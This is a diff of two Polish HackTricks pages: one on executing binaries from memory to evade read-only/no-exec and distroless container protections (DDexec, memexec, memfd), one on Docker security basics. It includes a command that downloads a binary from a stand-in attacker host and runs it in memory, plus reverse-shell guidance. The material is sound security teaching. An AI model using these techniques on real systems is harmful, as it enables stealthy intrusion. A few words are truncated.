<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwych do zhakowania rzeczy - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego, zarówno w mowie, jak i piśmie_).
Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwego do zhakowania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego, zarówno pisanego, jak i mówionego_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -24,8 +24,8 @@ Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwych do zhakowa
W poniższych filmach znajdziesz techniki omówione na tej stronie wyjaśnione bardziej szczegółowo:
* [**DEF CON 31 - Badanie manipulacji pamięcią Linuxa dla Stealth i Ewazji**](https://www.youtube.com/watch?v=poHirez8jk4)
* [**Intruzje Stealth z DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
* [**DEF CON 31 - Badanie manipulacji pamięcią Linuxa dla Stealth i Unikania**](https://www.youtube.com/watch?v=poHirez8jk4)
* [**Intruzje stealth z DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
## Scenariusz tylko do odczytu / brak wykonywania
@ -52,29 +52,29 @@ Z perspektywy zespołu czerwonego, to sprawia, że **trudno jest pobrać i wykon
## Najprostsze ominięcie: Skrypty
Zauważ, że wspomniałem o binariach, możesz **wykonać dowolny skrypt**, o ile interpreter jest wewnątrz maszyny, jak **skrypt powłoki** jeśli `sh` jest obecne lub **skrypt pythonowy** jeśli jest zainstalowany `python`.
Zauważ, że wspomniałem o binariach, możesz **wykonać dowolny skrypt**, o ile interpreter jest wewnątrz maszyny, na przykład **skrypt powłoki** jeśli `sh` jest obecne lub **skrypt pythonowy** jeśli `python` jest zainstalowany.
Jednak to nie wystarczy do wykonania swojego binarnego backdoora lub innych narzędzi binarnych, które mogą być Ci potrzebne do uruchomienia.
## Ominięcia pamięci
Jeśli chcesz wykonać binarny plik, ale system plików nie zezwala na to, najlepszym sposobem jest **wykonanie go z pamięci**, ponieważ **zabezpieczenia nie mają zastosowania tam**.
Jeśli chcesz wykonać binarny plik, ale system plików nie zezwala na to, najlepszym sposobem jest **wykonanie go z pamięci**, ponieważ **zabezpieczenia tam nie obowiązują**.
### Ominięcie FD + exec syscall
Jeśli masz potężne silniki skryptów wewnątrz maszyny, takie jak **Python**, **Perl** lub **Ruby**, możesz pobrać binarny plik do wykonania z pamięci, przechować go w deskryptorze pliku w pamięci (`create_memfd` syscall), który nie będzie chroniony przez te zabezpieczenia, a następnie wywołać **`exec syscall`** wskazując **fd jako plik do wykonania**.
Jeśli masz potężne silniki skryptowe wewnątrz maszyny, takie jak **Python**, **Perl** lub **Ruby**, możesz pobrać binarny plik do wykonania z pamięci, przechować go w deskryptorze pliku w pamięci (`create_memfd` syscall), który nie będzie chroniony przez te zabezpieczenia, a następnie wywołać **wywołanie systemowe exec**, wskazując **fd jako plik do wykonania**.
Do tego możesz łatwo użyć projektu [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Możesz przekazać mu binarny plik, a on wygeneruje skrypt w wskazanym języku z **binarnym skompresowanym i zakodowanym w base64** z instrukcjami do **dekodowania i dekompresji** w **fd** utworzonym za pomocą wywołania `create_memfd` syscall oraz wywołania **exec syscall** do jego uruchomienia.
Do tego możesz łatwo użyć projektu [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Możesz przekazać mu binarny plik, a on wygeneruje skrypt w wskazanym języku z **binarnym skompresowanym i zakodowanym w base64** z instrukcjami do **dekodowania i rozpakowania** go w **fd** utworzonym za pomocą wywołania `create_memfd` syscall oraz wywołania **exec** syscall do jego uruchomienia.
{% hint style="warning" %}
To nie działa w innych językach skryptowych, takich jak PHP lub Node, ponieważ nie mają one **domyślnego sposobu na wywołanie surowych wywołań systemowych** z poziomu skryptu, więc nie można wywołać `create_memfd` do utworzenia **deskryptora pamięci** do przechowywania binarnego pliku.
To nie działa w innych językach skryptowych, takich jak PHP lub Node, ponieważ nie mają one **domyślnego sposobu na wywołanie surowych wywołań systemowych** z poziomu skryptu, więc nie można wywołać `create_memfd` do utworzenia **fd pamięciowego** do przechowywania binarnego pliku.
Co więcej, utworzenie **zwykłego deskryptora pliku** z plikiem w `/dev/shm` nie zadziała, ponieważ nie będziesz mógł go uruchomić, ponieważ zastosowana zostanie **ochrona no-exec**.
Co więcej, utworzenie **zwykłego fd** z plikiem w `/dev/shm` nie zadziała, ponieważ nie będziesz mógł go uruchomić, ponieważ zastosowana zostanie **ochrona no-exec**.
{% endhint %}
### DDexec / EverythingExec
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) to technika, która pozwala Ci **modyfikować pamięć własnego procesu**, nadpisując jego **`/proc/self/mem`**.
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) to technika, która pozwala **modyfikować pamięć własnego procesu**, nadpisując jego **`/proc/self/mem`**.
Dlatego **kontrolując kod asemblera**, który jest wykonywany przez proces, możesz napisać **shellcode** i "zmienić" proces, aby **wykonał dowolny arbitralny kod**.
@ -87,13 +87,13 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
```
### MemExec
[**Memexec**](https://github.com/arget13/memexec) to naturalny kolejny krok po DDexec. To **zdemoralizowany shellcode DDexec**, więc za każdym razem, gdy chcesz **uruchomić inny plik binarny**, nie musisz ponownie uruchamiać DDexec, możesz po prostu uruchomić shellcode memexec za pomocą techniki DDexec, a następnie **komunikować się z tym demonem, aby przekazać nowe pliki binarne do załadowania i uruchomienia**.
[**Memexec**](https://github.com/arget13/memexec) to naturalny kolejny krok po DDexec. To **zdemilitaryzowany shellcode DDexec**, więc za każdym razem, gdy chcesz **uruchomić inny plik binarny**, nie musisz ponownie uruchamiać DDexec, możesz po prostu uruchomić shellcode memexec za pomocą techniki DDexec, a następnie **komunikować się z tym demonem, aby przekazać nowe pliki binarne do załadowania i uruchomienia**.
Możesz znaleźć przykład **użycia memexec do uruchamiania plików binarnych z odwróconym powłoką PHP** w [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
Możesz znaleźć przykład, jak **użyć memexec do uruchamiania plików binarnych z odwróconym powłokiem PHP** w [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
### Memdlopen
O podobnym celu do DDexec, technika [**memdlopen**](https://github.com/arget13/memdlopen) umożliwia **łatwiejsze ładowanie plików binarnych** do późniejszego wykonania. Może nawet umożliwić ładowanie plików binarnych z zależnościami.
O podobnym celu do DDexec, technika [**memdlopen**](https://github.com/arget13/memdlopen) umożliwia **łatwiejsze ładowanie plików binarnych** do późniejszego wykonania. Może nawet pozwolić na ładowanie plików binarnych z zależnościami.
## Ominięcie Distroless
@ -101,7 +101,7 @@ O podobnym celu do DDexec, technika [**memdlopen**](https://github.com/arget13/m
Kontenery Distroless zawierają tylko **niezbędne minimalne składniki do uruchomienia określonej aplikacji lub usługi**, takie jak biblioteki i zależności czasu wykonania, ale wykluczają większe składniki, takie jak menedżer pakietów, powłoka lub narzędzia systemowe.
Celem kontenerów Distroless jest **zmniejszenie powierzchni ataku kontenerów poprzez eliminację zbędnych składników** i minimalizację liczby podatności, które mogą być wykorzystane.
Celem kontenerów Distroless jest **zmniejszenie powierzchni ataku kontenerów poprzez eliminowanie zbędnych składników** i minimalizowanie liczby podatności, które mogą być wykorzystane.
### Odwrócona powłoka
@ -111,23 +111,23 @@ W kontenerze Distroless możesz **nawet nie znaleźć `sh` ani `bash`** do uzysk
Dlatego **nie** będziesz w stanie uzyskać **odwróconej powłoki** ani **wyliczyć** systemu, jak zazwyczaj robisz.
{% endhint %}
Jednak jeśli skompromitowany kontener uruchamia na przykład aplikację internetową flask, to zainstalowany jest Python, więc możesz uzyskać **odwróconą powłokę Pythona**. Jeśli uruchamia node, możesz uzyskać powłokę Node, podobnie z większością **języków skryptowych**.
Jednak jeśli skompromitowany kontener uruchamia na przykład aplikację internetową flask, to python jest zainstalowany, więc możesz zdob**odwróconą powłokę Pythona**. Jeśli uruchamia node, możesz zdob odwróconą powłokę Node, podobnie z większością **języków skryptowych**.
{% hint style="success" %}
Korzystając z języka skryptowego, możesz **wyliczyć system** korzystając z możliwości języka.
{% endhint %}
Jeśli nie ma **ochrony `tylko do odczytu/bez wykonywania`**, możesz nadużyć swojej odwróconej powłoki, aby **zapisywać w systemie pliki binarne** i **wykonywać** je.
Jeśli nie ma **ochrony `read-only/no-exec`**, możesz nadużyć swojej odwróconej powłoki, aby **zapisywać w systemie pliki binarne** i **wykonywać** je.
{% hint style="success" %}
Jednak w tego rodzaju kontenerach te zabezpieczenia zazwyczaj istnieją, ale możesz użyć **poprzednich technik wykonania w pamięci, aby je ominąć**.
{% endhint %}
Możesz znaleźć **przykłady** jak **wykorzystać niektóre podatności RCE** do uzyskania **odwróconych powłok języków skryptowych** i wykonywania plików binarnych z pamięci w [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
Możesz znaleźć **przykłady** jak **wykorzystać niektóre podatności RCE** do uzyskania **odwróconych powłok języków skryptowych** i uruchamiania plików binarnych z pamięci w [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Jeśli jesteś zainteresowany **karierą w dziedzinie hakowania** i hakiem na niehakowalne - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
Jeśli jesteś zainteresowany **karierą w dziedzinie hakowania** i hakiem nie do przebicia - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
{% embed url="https://www.stmcyber.com/careers" %}

View file

@ -2,64 +2,65 @@
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Zacznij od zera i zostań ekspertem ds. hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować przepływy pracy** przy użyciu najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
Otrzymaj dostęp już dziś:
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować zadania** przy użyciu najbardziej zaawansowanych narzędzi społeczności.\
Zdobądź dostęp już dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## **Podstawowe zabezpieczenia silnika Docker**
Silnik Docker wykorzystuje **Namespaces** i **Cgroups** jądra Linuxa do izolacji kontenerów, oferując podstawową warstwę zabezpieczeń. Dodatkową ochronę zapewnia **Capabilities dropping**, **Seccomp** i **SELinux/AppArmor**, zwiększając izolację kontenerów. Plugin **auth** może dodatkowo ograniczać działania użytkownika.
Silnik **Docker** wykorzystuje **Przestrzenie nazw** i **Grupy kontrolne (Cgroups)** jądra Linuxa do izolowania kontenerów, oferując podstawową warstwę zabezpieczeń. Dodatkową ochronę zapewnia **Upuszczanie uprawnień (Capabilities dropping)**, **Seccomp** oraz **SELinux/AppArmor**, zwiększając izolację kontenerów. Plugin **auth** może dodatkowo ograniczyć działania użytkownika.
![Bezpieczeństwo Docker](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
### Bezpieczny dostęp do silnika Docker
Silnik Docker można uzyskać zarówno lokalnie za pomocą gniazda Unix, jak i zdalnie za pomocą protokołu HTTP. W przypadku zdalnego dostępu ważne jest korzystanie z HTTPS i **TLS**, aby zapewnić poufność, integralność i uwierzytelnianie.
Silnik Docker można uzyskać lokalnie za pomocą gniazda Unix lub zdalnie przy użyciu protokołu HTTP. W przypadku zdalnego dostępu istotne jest korzystanie z HTTPS i **TLS** w celu zapewnienia poufności, integralności i uwierzytelniania.
Domyślnie silnik Docker nasłuchuje na gnieździe Unix pod adresem `unix:///var/run/docker.sock`. W systemach Ubuntu opcje uruchamiania Dockera są definiowane w pliku `/etc/default/docker`. Aby umożliwić zdalny dostęp do interfejsu API i klienta Dockera, należy udostępnić demona Dockera za pomocą gniazda HTTP, dodając następujące ustawienia:
Silnik Docker domyślnie nasłuchuje na gnieździe Unix pod adresem `unix:///var/run/docker.sock`. W systemach Ubuntu opcje uruchamiania Dockera są zdefiniowane w pliku `/etc/default/docker`. Aby umożliwić zdalny dostęp do interfejsu API i klienta Dockera, wystarczy wystawić demona Dockera na gnieździe HTTP, dodając następujące ustawienia:
```bash
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
sudo service docker restart
```
Jednakże, nie zaleca się wystawiania demona Docker przez HTTP ze względów bezpieczeństwa. Zaleca się zabezpieczenie połączeń za pomocą protokołu HTTPS. Istnieją dwie główne metody zabezpieczania połączenia:
1. Klient weryfikuje tożsamość serwera.
2. Zarówno klient, jak i serwer wzajemnie uwierzytelniają swoją tożsamość.
Jednak wystawianie demona Dockera przez HTTP nie jest zalecane ze względów bezpieczeństwa. Zaleca się zabezpieczenie połączeń za pomocą protokołu HTTPS. Istnieją dwa główne podejścia do zabezpieczenia połączenia:
Do potwierdzenia tożsamości serwera wykorzystuje się certyfikaty. Szczegółowe przykłady obu metod można znaleźć w [**tym przewodniku**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/).
1. Klient weryfikuje tożsamość serwera.
2. Zarówno klient, jak i serwer wzajemnie uwierzytelniają swoje tożsamości.
Certyfikaty są wykorzystywane do potwierdzenia tożsamości serwera. Aby uzyskać szczegółowe przykłady obu metod, zapoznaj się z [**tym przewodnikiem**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/).
### Bezpieczeństwo obrazów kontenerów
Obrazy kontenerów mogą być przechowywane w prywatnych lub publicznych repozytoriach. Docker oferuje kilka opcji przechowywania obrazów kontenerów:
Obrazy kontenerów można przechowywać w repozytoriach prywatnych lub publicznych. Docker oferuje kilka opcji przechowywania obrazów kontenerów:
* **[Docker Hub](https://hub.docker.com)**: Publiczna usługa rejestru od Docker.
* **[Docker Registry](https://github.com/docker/distribution)**: Projekt open-source, który umożliwia użytkownikom hostowanie własnego rejestru.
* **[Docker Trusted Registry](https://www.docker.com/docker-trusted-registry)**: Komercyjna oferta rejestru od Docker, oferująca uwierzytelnianie użytkowników oparte na rolach oraz integrację z usługami katalogowymi LDAP.
* [**Docker Hub**](https://hub.docker.com): Usługa publicznego rejestru od Dockera.
* [**Docker Registry**](https://github.com/docker/distribution): Projekt open-source, który pozwala użytkownikom hostować własny rejestr.
* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Komercyjna oferta rejestru od Dockera, oferująca uwierzytelnianie użytkowników oparte na rolach oraz integrację z usługami katalogowymi LDAP.
### Skanowanie obrazów
Kontenery mogą mieć **luki w zabezpieczeniach** zarówno ze względu na obraz bazowy, jak i oprogramowanie zainstalowane na nim. Docker pracuje nad projektem o nazwie **Nautilus**, który skanuje kontenery pod kątem bezpieczeństwa i wylicza podatności. Nautilus działa poprzez porównanie każdej warstwy obrazu kontenera z repozytorium podatności w celu identyfikacji luk w zabezpieczeniach.
Kontenery mogą mieć **luki bezpieczeństwa** zarówno z powodu obrazu bazowego, jak i z powodu zainstalowanego oprogramowania na nim. Docker pracuje nad projektem o nazwie **Nautilus**, który skanuje kontenery pod kątem bezpieczeństwa i wyświetla luki. Nautilus działa poprzez porównanie każdej warstwy obrazu kontenera z repozytorium podatności w celu zidentyfikowania luk bezpieczeństwa.
Aby uzyskać więcej [**informacji, przeczytaj to**](https://docs.docker.com/engine/scan/).
* **`docker scan`**
Polecenie **`docker scan`** umożliwia skanowanie istniejących obrazów Docker za pomocą nazwy lub identyfikatora obrazu. Na przykład, uruchom poniższe polecenie, aby przeskanować obraz hello-world:
Polecenie **`docker scan`** pozwala skanować istniejące obrazy Dockera, używając nazwy obrazu lub ID. Na przykład, uruchom poniższe polecenie, aby przeskanować obraz hello-world:
```bash
docker scan hello-world
@ -91,53 +92,55 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
Podpisywanie obrazów Docker zapewnia bezpieczeństwo i integralność obrazów używanych w kontenerach. Oto zwięzłe wyjaśnienie:
- **Docker Content Trust** wykorzystuje projekt Notary, oparty na The Update Framework (TUF), do zarządzania podpisywaniem obrazów. Więcej informacji można znaleźć na stronach [Notary](https://github.com/docker/notary) i [TUF](https://theupdateframework.github.io).
- Aby aktywować zaufanie do zawartości Dockera, ustaw `export DOCKER_CONTENT_TRUST=1`. Ta funkcja jest domyślnie wyłączona w wersji Dockera 1.10 i nowszych.
- Po włączeniu tej funkcji można pobierać tylko podpisane obrazy. Pierwsze przesyłanie obrazu wymaga ustawienia haseł dla kluczy root i tagowania, a Docker obsługuje również Yubikey w celu zwiększenia bezpieczeństwa. Więcej szczegółów można znaleźć [tutaj](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
- Próba pobrania niepodpisanego obrazu przy włączonym zaufaniu do zawartości skutkuje błędem "Brak danych zaufania dla najnowszej wersji".
- Podczas przesyłania obrazów po raz kolejny Docker prosi o hasło do klucza repozytorium w celu podpisania obrazu.
* **Zaufanie do Zawartości Dockera** wykorzystuje projekt Notary, oparty na The Update Framework (TUF), do zarządzania podpisami obrazów. Więcej informacji można znaleźć na stronach [Notary](https://github.com/docker/notary) i [TUF](https://theupdateframework.github.io).
* Aby aktywować zaufanie do zawartości Dockera, ustaw `export DOCKER_CONTENT_TRUST=1`. Ta funkcja jest domyślnie wyłączona w Dockerze w wersji 1.10 i nowszych.
* Po włączeniu tej funkcji, można pobierać tylko podpisane obrazy. Pierwsze przesłanie obrazu wymaga ustawienia haseł dostępu do kluczy głównego i tagowania, a Docker obsługuje również Yubikey dla zwiększonego bezpieczeństwa. Więcej szczegółów można znaleźć [tutaj](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
* Próba pobrania niepodpisanego obrazu przy włączonym zaufaniu do zawartości kończy się błędem "Brak danych zaufania dla najnowszej wersji".
* Podczas kolejnych przesyłek obrazów, Docker prosi o hasło dostępu do klucza repozytorium w celu podpisania obrazu.
Aby zrobić kopię zapasową prywatnych kluczy, użyj polecenia:
Aby zabezpieczyć swoje prywatne klucze, użyj polecenia:
```bash
tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
```
Podczas przełączania hostów Docker konieczne jest przeniesienie kluczy roota i repozytorium w celu utrzymania operacji.
Podczas przełączania się między hostami Docker, konieczne jest przeniesienie kluczy roota i repozytorium, aby utrzymać operacje.
***
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować przepływy pracy** z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) do łatwego tworzenia i **automatyzowania przepływów pracy** z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
Otrzymaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Funkcje bezpieczeństwa kontenerów
## Funkcje Bezpieczeństwa Kontenerów
<details>
<summary>Podsumowanie funkcji bezpieczeństwa kontenerów</summary>
### Główne funkcje izolacji procesu
#### Główne funkcje izolacji procesów
W środowiskach kontenerowych izolacja projektów i ich procesów jest niezwykle ważna dla bezpieczeństwa i zarządzania zasobami. Oto uproszczone wyjaśnienie kluczowych pojęć:
W środowiskach skonteneryzowanych izolacja projektów i ich procesów jest kluczowa dla bezpieczeństwa i zarządzania zasobami. Oto uproszczone wyjaśnienie kluczowych koncepcji:
#### **Namespaces**
- **Cel**: Zapewnienie izolacji zasobów, takich jak procesy, sieć i systemy plików. W szczególności w Dockerze, przestrzenie nazw utrzymują oddzielność procesów kontenera od hosta i innych kontenerów.
- **Użycie `unshare`**: Polecenie `unshare` (lub odpowiednie wywołanie systemowe) jest wykorzystywane do tworzenia nowych przestrzeni nazw, zapewniając dodatkową warstwę izolacji. Jednak podczas gdy Kubernetes nie blokuje tego domyślnie, Docker tak.
- **Ograniczenie**: Tworzenie nowych przestrzeni nazw nie pozwala procesowi powrócić do domyślnych przestrzeni nazw hosta. Aby przeniknąć do przestrzeni nazw hosta, zazwyczaj wymagane jest dostęp do katalogu `/proc` hosta, korzystając z narzędzia `nsenter` do wejścia.
**Przestrzenie nazw (Namespaces)**
#### **Grupy kontrolne (CGroups)**
- **Funkcja**: Głównie używane do przydzielania zasobów między procesami.
- **Aspekt bezpieczeństwa**: Same grupy kontrolne nie zapewniają izolacji bezpieczeństwa, z wyjątkiem funkcji `release_agent`, która w przypadku niewłaściwej konfiguracji może potencjalnie być wykorzystana do nieautoryzowanego dostępu.
* **Cel**: Zapewnienie izolacji zasobów, takich jak procesy, sieć i systemy plików. W szczególności w Dockerze przestrzenie nazw utrzymują procesy kontenera oddzielone od hosta i innych kontenerów.
* **Użycie `unshare`**: Polecenie `unshare` (lub wywołanie systemowe) jest wykorzystywane do tworzenia nowych przestrzeni nazw, zapewniając dodatkową warstwę izolacji. Jednak podczas gdy Kubernetes nie blokuje tego domyślnie, Docker tak.
* **Ograniczenie**: Tworzenie nowych przestrzeni nazw nie pozwala procesowi powrócić do domyślnych przestrzeni nazw hosta. Aby przeniknąć do przestrzeni nazw hosta, zazwyczaj wymagane jest dostęp do katalogu `/proc` hosta, korzystając z `nsenter` do wejścia.
#### **Ograniczenie uprawnień**
- **Znaczenie**: Jest to kluczowa funkcja bezpieczeństwa dla izolacji procesów.
- **Funkcjonalność**: Ogranicza działania, które może wykonać proces roota poprzez odrzucenie określonych uprawnień. Nawet jeśli proces działa z uprawnieniami roota, brak niezbędnych uprawnień uniemożliwia mu wykonanie uprzywilejowanych działań, ponieważ wywołania systemowe zakończą się niepowodzeniem z powodu niewystarczających uprawnień.
**Grupy Kontrolne (CGroups)**
Oto **pozostałe uprawnienia** po odrzuceniu pozostałych:
* **Funkcja**: Głównie używane do przydzielania zasobów między procesami.
* **Aspekt bezpieczeństwa**: Same CGroups nie oferują izolacji bezpieczeństwa, z wyjątkiem funkcji `release_agent`, która w przypadku błędnej konfiguracji może potencjalnie być wykorzystana do nieautoryzowanego dostępu.
**Odrzucanie Uprawnień (Capability Drop)**
* **Znaczenie**: Jest to istotna funkcja bezpieczeństwa dla izolacji procesów.
* **Funkcjonalność**: Ogranicza działania, które może wykonać proces root poprzez odrzucenie określonych uprawnień. Nawet jeśli proces działa z uprawnieniami roota, brak niezbędnych uprawnień uniemożliwia mu wykonywanie uprzywilejowanych działań, ponieważ wywołania systemowe zakończą się niepowodzeniem z powodu niewystarczających uprawnień.
To są **pozostałe uprawnienia** po odrzuceniu pozostałych przez proces:
{% code overflow="wrap" %}
```
@ -154,23 +157,23 @@ Jest domyślnie włączony w Dockerze. Pomaga **jeszcze bardziej ograniczyć sys
Docker ma szablon, który można aktywować: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
To pozwoli na ograniczenie uprawnień, syscalle, dostępu do plików i folderów...
To pozwoli na ograniczenie uprawnień, syscalle, dostęp do plików i folderów...
</details>
### Namespaces
**Namespaces** to funkcja jądra Linuxa, która **dzieli zasoby jądra** tak, że jedna grupa **procesów widzi** jeden zestaw **zasobów**, podczas gdy **inna** grupa **procesów widzi** inny zestaw zasobów. Funkcja działa poprzez posiadanie tego samego przestrzeni nazw dla zestawu zasobów i procesów, ale te przestrzenie nazw odnoszą się do odrębnych zasobów. Zasoby mogą istnieć w wielu przestrzeniach.
**Namespaces** to funkcja jądra Linuxa, która **dzieli zasoby jądra** tak, że jedna grupa **procesów widzi** jeden zestaw **zasobów**, podczas gdy **inna** grupa **procesów** widzi **inny** zestaw zasobów. Funkcja działa poprzez posiadanie tego samego przestrzeni nazw dla zestawu zasobów i procesów, ale te przestrzenie nazw odnoszą się do odrębnych zasobów. Zasoby mogą istnieć w wielu przestrzeniach.
Docker korzysta z następujących przestrzeni nazw jądra Linuxa, aby osiągnąć izolację kontenerów:
Docker wykorzystuje następujące przestrzenie nazw jądra Linuxa do osiągnięcia izolacji kontenerów:
* przestrzeń nazw pid
* przestrzeń nazw montowania
* przestrzeń nazw sieciowych
* przestrzeń nazw sieci
* przestrzeń nazw ipc
* przestrzeń nazw UTS
Aby **uzyskać więcej informacji na temat przestrzeni nazw**, sprawdź następującą stronę:
Dla **więcej informacji na temat przestrzeni nazw** sprawdź następującą stronę:
{% content-ref url="namespaces/" %}
[namespaces](namespaces/)
@ -178,8 +181,8 @@ Aby **uzyskać więcej informacji na temat przestrzeni nazw**, sprawdź następu
### cgroups
Funkcja jądra Linuxa **cgroups** umożliwia ograniczenie zasobów, takich jak cpu, pamięć, io, przepustowość sieciowa, dla zestawu procesów. Docker pozwala tworzyć kontenery przy użyciu funkcji cgroup, co umożliwia kontrolę zasobów dla konkretnego kontenera.\
Poniżej przedstawiono przykład kontenera, w którym pamięć przestrzeni użytkownika jest ograniczona do 500 MB, pamięć jądra do 50 MB, udział w CPU do 512, a waga blkio do 400. Udział w CPU to współczynnik kontrolujący użycie CPU przez kontener. Ma domyślną wartość 1024 i mieści się w zakresie od 0 do 1024. Jeśli trzy kontenery mają ten sam udział w CPU wynoszący 1024, każdy kontener może używać maksymalnie 33% CPU w przypadku wystąpienia konfliktu zasobów CPU. Waga blkio to współczynnik kontrolujący operacje wejścia/wyjścia kontenera. Ma domyślną wartość 500 i mieści się w zakresie od 10 do 1000.
Funkcja jądra Linuxa **cgroups** zapewnia możliwość **ograniczenia zasobów takich jak cpu, pamięć, io, przepustowość sieci** dla zestawu procesów. Docker pozwala tworzyć kontenery przy użyciu funkcji cgroup, co umożliwia kontrolę zasobów dla konkretnego kontenera.\
Poniżej znajduje się kontener utworzony z ograniczeniem pamięci przestrzeni użytkownika do 500m, pamięci jądra do 50m, udziału cpu do 512, wagi blkioweight do 400. Udział CPU to współczynnik, który kontroluje użycie CPU kontenera. Ma domyślną wartość 1024 i zakres od 0 do 1024. Jeśli trzy kontenery mają ten sam udział CPU wynoszący 1024, każdy kontener może zużyć do 33% CPU w przypadku konfliktu zasobów CPU. blkio-weight to współczynnik, który kontroluje IO kontenera. Ma domyślną wartość 500 i zakres od 10 do 1000.
```
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
```
@ -189,7 +192,7 @@ docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian contain
ps -ef | grep 1234 #Get info about the sleep process
ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it)
```
Aby uzyskać więcej informacji, sprawdź:
Dla dalszych informacji sprawdź:
{% content-ref url="cgroups.md" %}
[cgroups.md](cgroups.md)
@ -197,9 +200,9 @@ Aby uzyskać więcej informacji, sprawdź:
### Uprawnienia
